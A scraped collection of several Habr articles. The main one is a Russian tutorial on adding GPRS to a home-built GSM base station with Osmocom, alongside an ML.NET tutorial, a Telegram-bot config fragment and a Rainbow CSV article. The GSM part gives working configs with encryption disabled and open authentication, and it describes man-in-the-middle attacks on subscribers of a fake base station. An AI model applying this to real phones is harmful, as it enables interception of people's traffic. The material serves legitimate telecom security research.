User=service
Group=www-data
WorkingDirectory=/path/to/www/bot
ExecStart=/path/to/venv/bin/gunicorn --pid bot.pid --workers 1 --bind unix:bot.sock -m 007 bot:app --worker-class aiohttp.worker.GunicornWebWorker
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID
PrivateTmp=true
[Install]
WantedBy=multi-user.target`
Конечно, не помешает выполнить systemctl daemon-reload и systemctl enable bot.
#### Ссылки на исходники
* [Однопользовательская версия](https://bitbucket.org/gudvinr/telegram_gutenbot/)
* [~~Версия для групповых чатов~~](https://bitbucket.org/gudvinr/telegram_jmucbot/)
*P.S. На премию красивейший код года не претендую. Хотелось, конечно, сделать хорошо, но получилось как всегда.*
*P.P.S. Разработка версии для групповых чатов заброшена, ввиду отсутствия желания, времени и [ряда проблем](https://core.telegram.org/bots/faq#my-bot-is-hitting-limits-how-do-i-avoid-this) с API Telegram.* | https://habr.com/ru/post/305858/ | null | ru | null |
# Добавляем GPRS в домашнюю GSM сеть
Третья статья из цикла покажет как исследовать работу пакетных данных в сетях GSM при помощи Osmocom. Другими словами мы будем раздавать интернет с ноутбука абонентам нашей домашней сети на основе двух osmocombb-совместимых телефонов и анализировать TCP/IP трафик.
**Статьи цикла:**
[Запускаем GSM-сеть у себя дома](https://habrahabr.ru/company/pentestit/blog/331406/)
[Анализ трафика GSM сетей в Wireshark](https://habrahabr.ru/company/pentestit/blog/332778/)
[Добавляем GPRS в домашнюю GSM сеть](https://habrahabr.ru/company/pentestit/blog/334100/)
[Практические примеры атак внутри GSM сети](https://habrahabr.ru/company/pentestit/blog/334708/)
Подготовка
----------
Для работы вам понадобится сеть, создание которой описано [тут](https://habrahabr.ru/company/pentestit/blog/331406/). Также, я рекомендую ознакомиться со [второй](https://habrahabr.ru/company/pentestit/blog/332778/) статьей цикла.
Для тех, кто еще не начинал строить инфраструктуру для домашней сети, я предлагаю не собирать все компоненты osmocom вручную, а попробовать установить уже готовые [nightly builds пакеты](https://osmocom.org/projects/cellular-infrastructure/wiki/Nightly_Builds). Они доступны для дистрибутивов Debian и Ubuntu. Репозитории указаны по ссылке выше. Теоретически установка таким методом должна проходить проще и без особых проблем, но сам я этого делать не пробовал.
Теория
------
Для начала определимся, что нам нужно изменить в нашей домашней сети, чтобы добавить поддержку GPRS.
Весь процесс описан в [инструкции](https://osmocom.org/projects/cellular-infrastructure/wiki/OpenBSC_GPRS) на официальном сайте, которая вполне актуальна.
По ссылке вы найдете следующую схему:
Разберем по порядку.
**PDCH** — это Packet Data Channel. Для передачи пакетных данных должен использоваться особый тип логического канала. До сих пор мы использовали TCH/H для обслуживания голосовых вызовов. Нам потребуется заменить TCH/H на PDCH. Мы потеряем возможность звонить, но зато нам не понадобиться докупать еще телефоны.
**nanoBTS** — мы будем использовать OsmoBTS в связке с двумя osmocombb-совместимыми телефонами для создания базовой станции, как и делали раньше.
**osmo-nitb** — Здесь потребуется минимальная конфигурация для активации GPRS сервиса, а так же придется пересобрать osmo-nitb с поддержкой osmo-sgsn.
**osmo-sgsn** — Serving GPRS Support Node. По сути ядро GPRS сети, аналог MSC для голосовых вызовов.
Скопирую из [Википедии](https://ru.wikipedia.org/wiki/SGSN) список функций:
* контроль доставки пакетов данных пользователям;
* взаимодействие с реестром собственных абонентов сети HLR или аутентификация (проверка разрешения на запрос пользователями услуги); механизм совпадает с механизмом аутентификации в GSM;
* мониторинг находящихся в режиме online пользователей;
* преобразование кадров GSM в форматы, используемые протоколами TCP/IP глобальной компьютерной сети Internet;
* регистрация или «прикрепление» (attachment) абонентов, вновь «появившихся» в зоне действия сети;
* шифрование данных; алгоритм шифрования в технологии GPRS (GEA1, GEA2, GEA3) отличаются от алгоритмов шифрования в GSM (A5/1, A5/2, A5/3), но разработаны на их основе;
* сбор поступающей биллинговой информации, пересылка её в главный офис и т. п.
**ggsn** — GPRS Gateway Support Node. Данный узел стоит на границе между GPRS Core network (GTP) и Интернетом. Легко собирается и подключается к остальным модулям osmocom.
На данной схеме пропущен еще один компонент **PCU — Packet Control Unit**.
PCU выполняет некоторые функции BSC, но только для пакетных данных. Для его реализации будет использован osmo-pcu.
На схеме ниже PCU присутствует:
Модифицируем сеть
-----------------
Напоминаю, что мои конфигурационные файлы хранятся в /root/.osmocom. Как и в первой статье они будут прикреплены в конце. Прежде чем использовать конфигурационные файлы, нужно ввести корректные IP адреса вместо ВИРТУАЛЬНЫЙ\_IP и ОСНОВНОЙ\_IP, а так же GSM900 или DCS1800 вместо ДИАПАЗОН и номер ARFCN вместо КАНАЛ.
Предполагается, что все компоненты будут работать на одном устройстве, так что нам потребуется создать виртуальный интерфейс для сетевого адаптера. IP адреса для GGSN и SGSN должны отличаться. Моя домашняя сеть 192.168.1.0/24, IP адрес моего основного Wi-Fi интерфейса 192.168.1.37 и IP адрес 192.168.1.250 не занят, так что я задаю его как виртуальный.
```
ifconfig wlan0:0 192.168.1.250
```
Так же вам потребуется разрешить транзитные пакеты и настроить NAT, так как мы будем «раздавать» Интернет всем абонентам сети. (Сеть 192.168.0.0/24 менять не нужно, она будет закреплена за интерфейсом tun0, который появится при запуске всех компонентов GPRS инфраструктуры).
```
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A POSTROUTING -s 192.168.0.0/24 -t nat -o wlan0 -j MASQUERADE
```
Понятно, что такая конфигурация не переживет перезагрузки, но есть способы, которые легко ищутся в поисковике, чтобы закрепить эти настройки.
**Устанавливаем osmo-pcu**
```
git clone git://git.osmocom.org/osmo-pcu.git
cd osmo-pcu
autoreconf -i
./configure
make
make install
cd ..
ldconfig
osmo-pcu -h
```
Конфигурируем osmo-nitb
Запускаем osmo-nitb, подключаемся к VTY и выполняем команды.
```
telnet 127.0.0.1 4242
en
conf t
network
bts 0
gprs mode gprs
gprs routing area 0
gprs cell bvci 2
gprs nsei 101
gprs nsvc 0 nsvci 101
gprs nsvc 0 local udp port 23000
gprs nsvc 0 remote udp port 23000
gprs nsvc 0 remote ip 192.168.1.250
trx 0
timeslot 1
phys_chan_config pdch
end
write file
```
Останавливаем osmo-nitb.
**Устанавливаем ggsn**
```
git clone git://git.osmocom.org/openggsn.git
cd openggsn
autoreconf -i
./configure
make
make install
ldconfig
```
**Устанавливаем osmo-sgsn**
Установите зависимости и пересоберите osmo-nitb чтобы включить поддержку osmo-sgsn.
```
apt-get install libc-ares-dev
```
```
cd openbsc/openbsc/
make clean
autoreconf -fi
./configure
make
make install
ldconfig
cd ../..
ggsn -h
osmo-sgsn -h
```
**Настраиваем osmo-sgsn**
```
cd /root/.osmocom
touch osmo_sgsn.cfg
osmo-sgsn
telnet localhost 4245
en
conf t
sgsn
gtp local-ip 192.168.1.250
ggsn 0 remote-ip 192.168.1.37
ggsn 0 gtp-version 1
auth-policy accept-all
end
conf t
ns
encapsulation udp local-ip 192.168.1.250
encapsulation udp local-port 23000
encapsulation framerelay-gre enabled 0
end
write file
exit
```
**Настраиваем ggsn**
```
cd /root/.osmocom
touch ggsn.conf
vi ggsn.conf
#TAG: listen
# Specifies the local IP address to listen to
listen 192.168.1.37
# TAG: dynip
# Dynamic IP address pool.
# Used for allocation of dynamic IP address when address is not given
# by HLR.
# If this option is not given then the net option is used as a substitute.
# dynip 192.168.254.0/24
# TAG: pcodns1/pcodns2
# Protocol configuration option domain name system server 1 & 2.
pcodns1 8.8.8.8
pcodns2 8.8.4.4
```
**Настраиваем osmo-pcu**
```
cd /root/.osmocom
touch osmo-pcu.conf
osmo-pcu -c /root/.osmocom/osmo-pcu.conf
telnet localhost 4240
en
conf t
pcu
flow-control-interval 10
cs 2
alloc-algorithm dynamic
alpha 0
gamma 0
write file
exit
```
**Возможные проблемы**
Говорят, что могут быть проблемы с DNS трафиком, тогда рекомендуется добавить еще одно правило в iptables. У меня таких проблем не возникало.
```
iptables -t nat -I PREROUTING -i tun0 -p udp --dport 53 -j DNAT --to-dest 8.8.8.8
```
Так же убедитесь, что у вашего устройства добавлена хотя бы одна APN точка доступа в настройках GPRS, иначе телефон может вовсе не пытаться получить GPRS сервис от оператора.
Запуск
------
**Запускаем osmo-nitb**
```
cd /root/.osmocom
osmo-nitb -s -c /root/.osmocom/open-bsc.cfg -l /root/.osmocom/hlr.sqlite3 -P -C --debug=DSQL:DLSMS:DRLL:DCC:DMM:DRR:DMSC:DHO:DGPRS:DNS:DLLC:DCTRL
```
**Запускаем ggsn**
```
cd /root/.osmocom
ggsn -c /root/.osmocom/ggsn.conf -f -d
```
**Запускаем sgsn**
```
cd /root/.osmocom
osmo-sgsn -c /root/.osmocom/osmo_sgsn.cfg -d DRLL:DCC:DMM:DRR:DNM:DMSC:DHO:DGPRS:DNS:DLLC:DCTRL
```
**Запускаем трансиверы и osmo-bts**
```
cd /root/osmocom/trx/src
host/osmocon/osmocon -m c123xor -p /dev/ttyUSB0 -s /tmp/osmocom_l2 -c target/firmware/board/compal_e88/trx.highram.bin -r 99
cd /root/osmocom/trx/src
host/osmocon/osmocon -m c123xor -p /dev/ttyUSB1 -s /tmp/osmocom_l2.2 -c target/firmware/board/compal_e88/trx.highram.bin -r 99
cd /root/osmocom/trx/src/host/layer23/src/transceiver/
./transceiver -a SCH_КАНАЛ -2 -r 99
cd /root/.osmocom
osmo-bts-trx --debug DRSL:DOML:DLAPDM -r 99
```
Вместо SCH\_КАНАЛ нужно как и раньше задать ARFCN где располагается beacon channel коммерческой базовой станции с устойчивым сигналом.
**Запускаем osmo-pcu**
```
cd /root/.osmocom
osmo-pcu -c /root/.osmocom/osmo-pcu.conf
```
Вы должны увидеть в консоли osmo-pcu нечто подобное
А в консоли osmo-nitb это
Обратите внимание, что при работе в такой сети ваш телефон считает, что он в роуминге и пакетные данные в роуминге часто отключены. Поэтому ничего работать не будет, если вы не разрешите GPRS в роуминге в настройках своего телефона.
Теперь, при подключении к сети вы должны увидеть подобные записи в консоли с osmo-pcu
И запись об авторизации в консоли osmo-sgsn
А при активации GRPS сервиса в телефоне вы увидите, что передача данных началась
Обратите внимание на тот факт, что скорость передачи данных в GPRS очень низкая, в то же время современные телефоны при получении доступа к сети тут же начинают процесс проверки обновлений, почты, новостей. Все ваши приложения начинают обновлять свои данные. Это может привести к тому, что вам будет затруднительно открыть что-то в браузере, так как, помимо низкой пропускной способности, могут происходить потери пакетов.
Вы можете исправить положение ограничив доступ на машине, которая раздает Интеренет для подсети 192.168.0.0/24 (tun0), оставив доступными только некоторые ресурсы.
Анализ трафика в Wireshark
--------------------------
Чтобы wireshark автоматически разбирал GPRS трафик, нужно в настройках протокола GPRS-NS добавить порт 23000.
Подключившись к сети, я буду прослушивать интерфейс wlan0 и изучать трафик.
Мы видим GSM пакеты (обратите внимание на ASCII представление данных. Видно, что это HTTP запрос)
Здесь можно найти так же классический TCP/IP трафик, например HTTP или DNS запросы. Можно использовать фильтр gprs-ns. Обратите внимание на вложенность TCP/IP протоколов в GSM протоколы.
DNS
HTTP
Естественно, нам доступен и классический TCP/IP трафик, который уже идет непосредственно от wlan0 в Интернет
И на это этапе мы получаем полный контроль над трафиком и можем провести полный спектр MitM атак против абонентов нашей GSM сети.
В случае создания фейковой базовой станции, подключившийся абонент становится недоступен для звонков извне и в стандартной конфигурации сам не может больше позвонить кому-то из своей телефонной книги, но зато у него будет доступен Интернет и высока вероятность, что он попытается им воспользоваться. Здесь он и может быть атакован злоумышленником.
В следующей статье мы рассмотрим практические примеры атак на абонентов GSM сети, подключившихся к поддельной базовой станции.
Конфигурационные файлы
----------------------
**ggsn.conf**#TAG: listen
# Specifies the local IP address to listen to
listen ОСНОВНОЙ\_IP
# TAG: dynip
# Dynamic IP address pool.
# Used for allocation of dynamic IP address when address is not given
# by HLR.
# If this option is not given then the net option is used as a substitute.
# dynip 192.168.254.0/24
# TAG: pcodns1/pcodns2
# Protocol configuration option domain name system server 1 & 2.
pcodns1 8.8.8.8
pcodns2 8.8.4.4
**open-bsc.cfg**!
! OpenBSC (0.15.0.796-8254) configuration saved from vty
!!!
!
log stderr
logging filter all 1
logging color 1
logging print category 0
logging timestamp 0
logging level all everything
logging level rll everything
logging level cc everything
logging level mm everything
logging level rr everything
logging level rsl everything
logging level nm everything
logging level mncc notice
logging level pag notice
logging level meas notice
logging level sccp notice
logging level msc notice
logging level mgcp notice
logging level ho notice
logging level db notice
logging level ref notice
logging level gprs debug
logging level ns info
logging level bssgp debug
logging level llc debug
logging level sndcp debug
logging level nat notice
logging level ctrl notice
logging level smpp debug
logging level filter debug
logging level ranap debug
logging level sua debug
logging level pcu debug
logging level lglobal notice
logging level llapd notice
logging level linp notice
logging level lmux notice
logging level lmi notice
logging level lmib notice
logging level lsms notice
logging level lctrl notice
logging level lgtp notice
logging level lstats notice
logging level lgsup notice
logging level loap notice
logging level lss7 notice
logging level lsccp notice
logging level lsua notice
logging level lm3ua notice
log file OsmoBSC.log
logging filter all 0
logging color 1
logging print category 0
logging timestamp 1
logging level all info
logging level rll notice
logging level cc notice
logging level mm notice
logging level rr notice
logging level rsl notice
logging level nm info
logging level mncc notice
logging level pag notice
logging level meas notice
logging level sccp notice
logging level msc notice
logging level mgcp notice
logging level ho notice
logging level db notice
logging level ref notice
logging level gprs debug
logging level ns info
logging level bssgp debug
logging level llc debug
logging level sndcp debug
logging level nat notice
logging level ctrl notice
logging level smpp debug
logging level filter debug
logging level ranap debug
logging level sua debug
logging level pcu debug
logging level lglobal notice
logging level llapd notice
logging level linp notice
logging level lmux notice
logging level lmi notice
logging level lmib notice
logging level lsms notice
logging level lctrl notice
logging level lgtp notice
logging level lstats notice
logging level lgsup notice
logging level loap notice
logging level lss7 notice
logging level lsccp notice
logging level lsua notice
logging level lm3ua notice
!
stats interval 5
!
line vty
no login
!
e1\_input
e1\_line 0 driver ipa
e1\_line 0 port 0
no e1\_line 0 keepalive
network
network country code 1
mobile network code 1
short name Pentestit
long name Pentestit
auth policy accept-all
authorized-regexp .\*
location updating reject cause 13
encryption a5 0
neci 1
paging any use tch 0
rrlp mode none
mm info 1
handover 0
handover window rxlev averaging 10
handover window rxqual averaging 1
handover window rxlev neighbor averaging 10
handover power budget interval 6
handover power budget hysteresis 3
handover maximum distance 9999
timer t3101 10
timer t3103 0
timer t3105 40
timer t3107 0
timer t3109 0
timer t3111 0
timer t3113 60
timer t3115 0
timer t3117 0
timer t3119 0
timer t3122 10
timer t3141 0
dyn\_ts\_allow\_tch\_f 0
subscriber-keep-in-ram 0
bts 0
type sysmobts
description calypso
band ДИАПАЗОН
cell\_identity 0
location\_area\_code 1
base\_station\_id\_code 63
ms max power 0
cell reselection hysteresis 4
rxlev access min 0
periodic location update 30
radio-link-timeout 32
channel allocator ascending
rach tx integer 9
rach max transmission 7
channel-descrption attach 1
channel-descrption bs-pa-mfrms 5
channel-descrption bs-ag-blks-res 1
early-classmark-sending forbidden
ip.access unit\_id 1801 0
oml ip.access stream\_id 255 line 0
neighbor-list mode automatic
codec-support fr amr
amr tch-h modes 0
amr tch-h start-mode 1
gprs mode gprs
gprs 11bit\_rach\_support\_for\_egprs 0
gprs routing area 0
gprs network-control-order nc0
gprs cell bvci 2
gprs cell timer blocking-timer 3
gprs cell timer blocking-retries 3
gprs cell timer unblocking-retries 3
gprs cell timer reset-timer 3
gprs cell timer reset-retries 3
gprs cell timer suspend-timer 10
gprs cell timer suspend-retries 3
gprs cell timer resume-timer 10
gprs cell timer resume-retries 3
gprs cell timer capability-update-timer 10
gprs cell timer capability-update-retries 3
gprs nsei 101
gprs ns timer tns-block 3
gprs ns timer tns-block-retries 3
gprs ns timer tns-reset 3
gprs ns timer tns-reset-retries 3
gprs ns timer tns-test 30
gprs ns timer tns-alive 3
gprs ns timer tns-alive-retries 10
gprs nsvc 0 nsvci 101
gprs nsvc 0 local udp port 23000
gprs nsvc 0 remote udp port 23000
gprs nsvc 0 remote ip ВИРТУАЛЬНЫЙ\_IP
gprs nsvc 1 nsvci 0
gprs nsvc 1 local udp port 0
gprs nsvc 1 remote udp port 0
gprs nsvc 1 remote ip 0.0.0.0
no force-combined-si
trx 0
rf\_locked 0
arfcn КАНАЛ
nominal power 23
max\_power\_red 99
rsl e1 tei 0
timeslot 0
phys\_chan\_config CCCH+SDCCH4
hopping enabled 0
timeslot 1
phys\_chan\_config PDCH
hopping enabled 0
timeslot 2
phys\_chan\_config TCH/H
hopping enabled 0
timeslot 3
phys\_chan\_config TCH/H
hopping enabled 0
timeslot 4
phys\_chan\_config TCH/H
hopping enabled 0
timeslot 5
phys\_chan\_config TCH/H
hopping enabled 0
timeslot 6
phys\_chan\_config TCH/H
hopping enabled 0
timeslot 7
phys\_chan\_config TCH/H
hopping enabled 0
mncc-int
default-codec tch-f amr
default-codec tch-h amr
nitb
subscriber-create-on-demand
assign-tmsi
**osmo\_sgsn.cfg**!
! OsmoSGSN (0.15.0.796-8254) configuration saved from vty
!!!
!
log stderr
logging filter all 1
logging color 1
logging print category 0
logging timestamp 0
logging level all everything
logging level mm notice
logging level pag notice
logging level meas notice
logging level ref notice
logging level gprs debug
logging level ns info
logging level bssgp debug
logging level llc debug
logging level sndcp debug
logging level slhc debug
logging level ranap debug
logging level sua debug
logging level v42bis debug
logging level lglobal notice
logging level llapd notice
logging level linp notice
logging level lmux notice
logging level lmi notice
logging level lmib notice
logging level lsms notice
logging level lctrl notice
logging level lgtp notice
logging level lstats notice
logging level lgsup notice
logging level loap notice
logging level lss7 notice
logging level lsccp notice
logging level lsua notice
logging level lm3ua notice
!
stats interval 5
!
line vty
no login
!
ns
timer tns-block 3
timer tns-block-retries 3
timer tns-reset 3
timer tns-reset-retries 3
timer tns-test 30
timer tns-alive 3
timer tns-alive-retries 10
encapsulation udp local-ip ВИРТУАЛЬНЫЙ\_IP
encapsulation udp local-port 23000
encapsulation framerelay-gre enabled 0
bssgp
sgsn
gtp local-ip ВИРТУАЛЬНЫЙ\_IP
ggsn 0 remote-ip ОСНОВНОЙ\_IP
ggsn 0 gtp-version 1
auth-policy accept-all
gsup oap-id 0
! apn \* ggsn 0
no cdr filename
cdr interval 600
timer t3312 600
timer t3322 6
timer t3350 6
timer t3360 6
timer t3370 6
timer t3313 30
timer t3314 44
timer t3316 44
timer t3385 8
timer t3386 8
timer t3395 8
timer t3397 8
no compression rfc1144
no compression v42bis
**osmo-bts.cfg**!
! OsmoBTS (0.4.0.463-e91c) configuration saved from vty
!!!
!
log stderr
logging filter all 1
logging color 1
logging print category 0
logging timestamp 0
logging level all everything
logging level rsl info
logging level oml info
logging level rll notice
logging level rr notice
logging level meas notice
logging level pag info
logging level l1c info
logging level l1p info
logging level dsp debug
logging level pcu notice
logging level ho notice
logging level trx notice
logging level loop notice
logging level abis notice
logging level rtp notice
logging level sum notice
logging level lglobal notice
logging level llapd notice
logging level linp notice
logging level lmux notice
logging level lmi notice
logging level lmib notice
logging level lsms notice
logging level lctrl notice
logging level lgtp notice
logging level lstats notice
logging level lgsup notice
logging level loap notice
logging level lss7 notice
logging level lsccp notice
logging level lsua notice
logging level lm3ua notice
log file OsmoBTS.log
logging filter all 0
logging color 1
logging print category 0
logging timestamp 1
logging level all everything
logging level rsl info
logging level oml info
logging level rll notice
logging level rr notice
logging level meas notice
logging level pag info
logging level l1c info
logging level l1p info
logging level dsp debug
logging level pcu notice
logging level ho notice
logging level trx notice
logging level loop notice
logging level abis notice
logging level rtp notice
logging level sum notice
logging level lglobal notice
logging level llapd notice
logging level linp notice
logging level lmux notice
logging level lmi notice
logging level lmib notice
logging level lsms notice
logging level lctrl notice
logging level lgtp notice
logging level lstats notice
logging level lgsup notice
logging level loap notice
logging level lss7 notice
logging level lsccp notice
logging level lsua notice
logging level lm3ua notice
!
line vty
no login
!
e1\_input
e1\_line 0 driver ipa
e1\_line 0 port 0
no e1\_line 0 keepalive
phy 0
osmotrx ip 127.0.0.1
osmotrx fn-advance 30
osmotrx rts-advance 5
instance 0
slotmask 1 1 0 0 0 0 0 0
bts 0
band ДИАПАЗОН
ipa unit-id 1801 0
oml remote-ip 127.0.0.1
rtp jitter-buffer 0
paging queue-size 200
paging lifetime 0
uplink-power-target -75
min-qual-rach 50
min-qual-norm -5
ms-power-loop -65
timing-advance-loop
setbsic
trx 0
power-ramp max-initial 0 mdBm
power-ramp step-size 2000 mdB
power-ramp step-interval 1
ms-power-control dsp
phy 0 instance 0
**osmo-pcu.conf**!
! Osmo-PCU (0.2.915-241f5) configuration saved from vty
!!!
!
log stderr
logging filter all 1
logging color 1
logging print category 0
logging timestamp 0
logging level all everything
logging level csn1 info
logging level l1if info
logging level rlcmac notice
logging level rlcmacdata notice
logging level rlcmacdl notice
logging level rlcmacul notice
logging level rlcmacsched notice
logging level rlcmacmeas info
logging level ns info
logging level bssgp info
logging level pcu notice
logging level lglobal notice
logging level llapd notice
logging level linp notice
logging level lmux notice
logging level lmi notice
logging level lmib notice
logging level lsms notice
logging level lctrl notice
logging level lgtp notice
logging level lstats notice
logging level lgsup notice
logging level loap notice
logging level lss7 notice
logging level lsccp notice
logging level lsua notice
logging level lm3ua notice
!
stats interval 5
!
line vty
no login
!
pcu
flow-control-interval 10
cs 2
cs max 4
cs threshold 10 33
cs downgrade-threshold 200
cs link-quality-ranges cs1 6 cs2 5 8 cs3 7 13 cs4 12
mcs max 9
window-size 64 0
queue idle-ack-delay 10
queue codel
alloc-algorithm dynamic
alpha 0
gamma 0
dl-tbf-idle-time 2000 | https://habr.com/ru/post/334100/ | null | ru | null |
# ML.NET Tutorial — Get started in 10 minutes
Last year we announced ML.NET, cross-platform and open ML system for .NET developers. During this time, it has evolved greatly and has gone through many versions. Today we are sharing a guide on how to create your first ml.net application in 10 minutes.
\*[This tutorial on Russian](https://habr.com/ru/company/microsoft/blog/436728/).
\*\*Below is a tutorial for Windows. But exactly the same thing can be done on [MacOS](https://dotnet.microsoft.com/learn/machinelearning-ai/ml-dotnet-get-started-tutorial?initial-os=macos)/[Linux](https://dotnet.microsoft.com/learn/machinelearning-ai/ml-dotnet-get-started-tutorial?initial-os=linux).
Install the .NET SDK
--------------------
To start building .NET apps you just need to download and install the .NET SDK (Software Development Kit).
[](https://download.visualstudio.microsoft.com/download/pr/97132669-937e-48c8-99c7-e3eb543b0325/c30900f4f2a534380995d25ef80c3f77/dotnet-sdk-2.2.103-win-gs-x64.exe)
Create your app
---------------
Open a new command prompt and run the following commands:
```
dotnet new console -o myApp
cd myApp
```
The `dotnet` command creates a `new` application of type `console` for you. The `-o` parameter creates a directory named `myApp` where your app is stored, and populates it with the required files. The `cd myApp` command puts you into the newly created app directory.
Install ML.NET package
----------------------
To use ML.NET, you need to install the Microsoft.ML package. In your command prompt, run the following command:
```
dotnet add package Microsoft.ML --version 0.9.0
```
Download the data set
---------------------
Your machine learning app will predict the type of iris flower (setosa, versicolor, or virginica) based on four features: petal length, petal width, sepal length, and sepal width.
Open the [UCI Machine Learning Repository: Iris Data Set](https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data), copy and paste the data into a text editor (e.g. Notepad), and save it as `iris-data.txt` in the `myApp` directory.
When you paste the data it will look like the following. Each row represents a different sample of an iris flower. From left to right, the columns represent: sepal length, sepal width, petal length, petal width, and type of iris flower.
```
5.1,3.5,1.4,0.2,Iris-setosa
4.9,3.0,1.4,0.2,Iris-setosa
4.7,3.2,1.3,0.2,Iris-setosa
...
```
#### Using Visual Studio?
If you're following along in Visual Studio, you'll need to configure `iris-data.txt` to be copied to the output directory.
Write some code
---------------
Open `Program.cs` in any text editor and replace all of the code with the following:
```
using Microsoft.ML;
using Microsoft.ML.Data;
using System;
namespace myApp
{
class Program
{
// STEP 1: Define your data structures
// IrisData is used to provide training data, and as
// input for prediction operations
// - First 4 properties are inputs/features used to predict the label
// - Label is what you are predicting, and is only set when training
public class IrisData
{
[LoadColumn(0)]
public float SepalLength;
[LoadColumn(1)]
public float SepalWidth;
[LoadColumn(2)]
public float PetalLength;
[LoadColumn(3)]
public float PetalWidth;
[LoadColumn(4)]
public string Label;
}
// IrisPrediction is the result returned from prediction operations
public class IrisPrediction
{
[ColumnName("PredictedLabel")]
public string PredictedLabels;
}
static void Main(string[] args)
{
// STEP 2: Create a ML.NET environment
var mlContext = new MLContext();
// If working in Visual Studio, make sure the 'Copy to Output Directory'
// property of iris-data.txt is set to 'Copy always'
var reader = mlContext.Data.CreateTextReader(separatorChar: ',', hasHeader: true);
IDataView trainingDataView = reader.Read("iris-data.txt");
// STEP 3: Transform your data and add a learner
// Assign numeric values to text in the "Label" column, because only
// numbers can be processed during model training.
// Add a learning algorithm to the pipeline. e.g.(What type of iris is this?)
// Convert the Label back into original text (after converting to number in step 3)
var pipeline = mlContext.Transforms.Conversion.MapValueToKey("Label")
.Append(mlContext.Transforms.Concatenate("Features", "SepalLength", "SepalWidth", "PetalLength", "PetalWidth"))
.Append(mlContext.MulticlassClassification.Trainers.StochasticDualCoordinateAscent(labelColumn: "Label", featureColumn: "Features"))
.Append(mlContext.Transforms.Conversion.MapKeyToValue("PredictedLabel"));
// STEP 4: Train your model based on the data set
var model = pipeline.Fit(trainingDataView);
// STEP 5: Use your model to make a prediction
// You can change these numbers to test different predictions
var prediction = model.CreatePredictionEngine(mlContext).Predict(
new IrisData()
{
SepalLength = 3.3f,
SepalWidth = 1.6f,
PetalLength = 0.2f,
PetalWidth = 5.1f,
});
Console.WriteLine($"Predicted flower type is: {prediction.PredictedLabels}");
}
}
}
```
Run your app
------------
In your command prompt, run the following command:
```
dotnet run
```
The last line of output is the predicted type of iris flower. You can change the values passed to the `Predict` function to see predictions based on different measurements.
Congratulations, you've built your first machine learning model with ML.NET!
Keep learning
-------------
Now that you've got the basics, you can keep learning with our ML.NET tutorials.
[](https://docs.microsoft.com/dotnet/machine-learning/tutorials) | https://habr.com/ru/post/436732/ | null | en | null |
# Плагин «Rainbow CSV» как альтернатива Excel
Привет, Хабр! Эта статья про плагин Rainbow CSV, который я написал для 5 текстовых редакторов:
[VS Code](https://marketplace.visualstudio.com/items?itemName=mechatroner.rainbow-csv), [Vim](https://github.com/mechatroner/rainbow_csv), [Sublime Text 3](https://packagecontrol.io/packages/rainbow_csv), [Atom](https://atom.io/packages/rainbow-csv), [Gedit](https://github.com/mechatroner/gtk_gedit_rainbow_csv)
Думаю, что многие читатели этой статьи периодически сталкиваются с CSV (comma-separated), ТSV (tab-separated) и подобными файлами. Если попробовать открыть их в текстовом редакторе (а как иначе узнать что там внутри?), то откроется совершенно невзрачная картина как с левой стороны изображения. Глядя на это сложно сказать даже сколько колонок в таблице. С правой стороны картинки тот же файл с включенным RainbowCSV, читаемость значительно повысилась за счет синтаксической подсветки.
Синтаксис для такой подсветки, как ни странно, задается с помощью всего лишь одной (хоть и длинной) строчки-регулярного выражения:
```
((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?((?:"(?:[^"]*"")*[^"]*"(?:,|$))|(?:[^,]*(?:,|$)))?
```
Правило подсветки целиком можно найти, например, [здесь](https://github.com/mechatroner/vscode_rainbow_csv/blob/master/syntaxes/csv.tmLanguage.json) (версия для VS Code), но, кроме самого регулярного выражения, там совершенно не на что смотреть.
Для сравнения, синтаксис файлы для языков общего назначения, таких как Python, JS, C++ и т.д. занимают обычно несколько сотен строчек весьма эзотерического кода.
Чтобы не загружать деталями статью, угадать из каких основных частей состоит и как работает это регулярное выражение предлагается читателям.
Подсказка: Вот такое простое выражение `([^,]*,)?([^,]*,)?` — подсветит CSV файл в 2 разных чередующихся цвета, но будет неправильно работать на запятых внутри полей, экранированных кавычками.
Кстати, здесь и далее описывается версия Rainbow CSV для Visual Studio Code, т.к. это вариант плагина в данный момент самый технически продвинутый и популярный (больше 500K загрузок).
Итак, помимо того, что Rainbow CSV подсвечивает столбцы, он также может:
* Сказать на какую колонку в данный момент указывает курсор: номер колонки + название из первой строчки-заголовка. Если в начале файла строчки-заголовка нет (сразу идут данные), то пользователь может задать свой "Виртуальный" заголовок.
* Автоматически проверить файл на предмет разного числа записей в строке или неправильного использования символов экранирования — "CSV Lint".
* Выполнить SQL-like запрос с помощью встроенного в плагин интерпретатора RBQL, который позволяет применять очень широкий класс текстовых преобразований к входной таблице.
RBQL поддерживает почти все операторы SQL (SELECT, UPDATE, WHERE, ORDER BY, TOP/LIMIT, JOIN, GROUP BY) а также все стандартные функции и операторы из JavaScript и Python.
RBQL это отдельная технология, но она очень удачно вписывается в концепцию Rainbow CSV, и поэтому такая интеграция дает много преимуществ.
Одним из важнейших свойств Rainbow CSV плагинов является автоматическое обнаружение CSV файлов по их контенту. Эта функциональность крайне необходима, т.к. зачастую CSV (или TSV) файлы имеют файловое расширение отличное от .csv (.tsv). Также можно встретить файлы с расширением .csv в которых реально в качестве разделителя используется точка с запятой `;`. Алгоритм определения табличного файла по контенту очень прост — достаточно проверить, что количество ячеек в каждой строчке при split'e по данному разделителю это постоянная > 1.
### Сравнение Rainbow CSV с графическим выравниванием
Вообще, традиционный способ просмотра CSV данных это импорт их в какой-либо графический редактор, например Excel.
